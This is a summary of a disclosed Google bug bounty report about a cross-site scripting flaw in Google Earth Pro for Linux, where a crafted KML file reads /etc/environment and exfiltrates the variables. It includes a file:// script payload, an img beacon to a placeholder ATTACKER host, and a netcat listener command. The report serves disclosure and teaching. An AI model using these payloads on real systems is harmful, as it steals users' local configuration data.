# Write Up – Google VRP Bug Bounty: /etc/environment Local Variables Exfiltrated On Linux Google Earth Pro Desktop App – $1,337 USD

KML description field in Google Earth Pro Linux renders unsanitized HTML/JS, letting a malicious .kml load file:///etc/environment as a script and exfiltrate env vars.

- Payout: $1,337
- Severity: medium
- Program: Google
- Credited: Omar Espino
- Disclosed: 2021-11-11
- Write-up quality: 6/10
- Original: https://omespino.com/write-up-google-vrp-bug-bounty-etc-environment-local-variables-exfiltrated-on-linux-google-earth-pro-desktop-app-1337-usd/
- Library page: https://bugbountylibrary.com/r/blog%3Aomespino-com-write-up-google-vrp-bug-bounty-etc-environment-local-variables-exfiltrated-on-linux-google-earth-pro-deskto
- Tags: domain:desktop impact:data-leak kind:bounty platform:blog sev:medium tech:linux technique:source-review vuln:info-disclosure vuln:xss

**Target:** Google Earth Pro desktop app (Linux) KML placemark description renderer
**Root cause:** KML Placemark <description> CDATA is rendered as HTML/JS without sanitization, and the renderer permits file:// script src loads, so local files whose contents parse as JS get executed in origin context.
**Steps:**
1. Create a .kml with a Placemark whose <description> CDATA contains `<script src=file:../../../../../../../etc/environment></script>` plus a script that reads PATH/JAVA_HOME and beacons `<img src=http://ATTACKER/?path=...&java_home=...>`.
2. Start listener: `sudo nc -l -p 80`.
3. Open the .kml by double-clicking in Google Earth Pro on Linux.
4. Click the red polygon to render the description; XSS fires, /etc/environment vars load as JS globals, and the img request exfiltrates them.
5. Enumerate all vars via `Object.keys(window)`.
**How found:** Noticed KML descriptions render HTML/JS, then observed /etc/environment's `KEY="value"` format is valid JavaScript, so a file:// script src could import it as globals.
**Exploitation:** Attacker delivers a .kml file; victim opens it and clicks the placemark. The description renders attacker HTML, the file:// script tag pulls /etc/environment (valid JS var syntax), and an image request ships PATH/JAVA_HOME to the attacker server.
**Escalation:** Using `Object.keys(window)` to dump every declared variable rather than brute-forcing predictable names.
**Insight:** When a renderer allows file:// script src, look for local files whose syntax coincidentally parses as JS (env files, configs with KEY=value) and use Object.keys(window) to dump all imported globals instead of guessing names.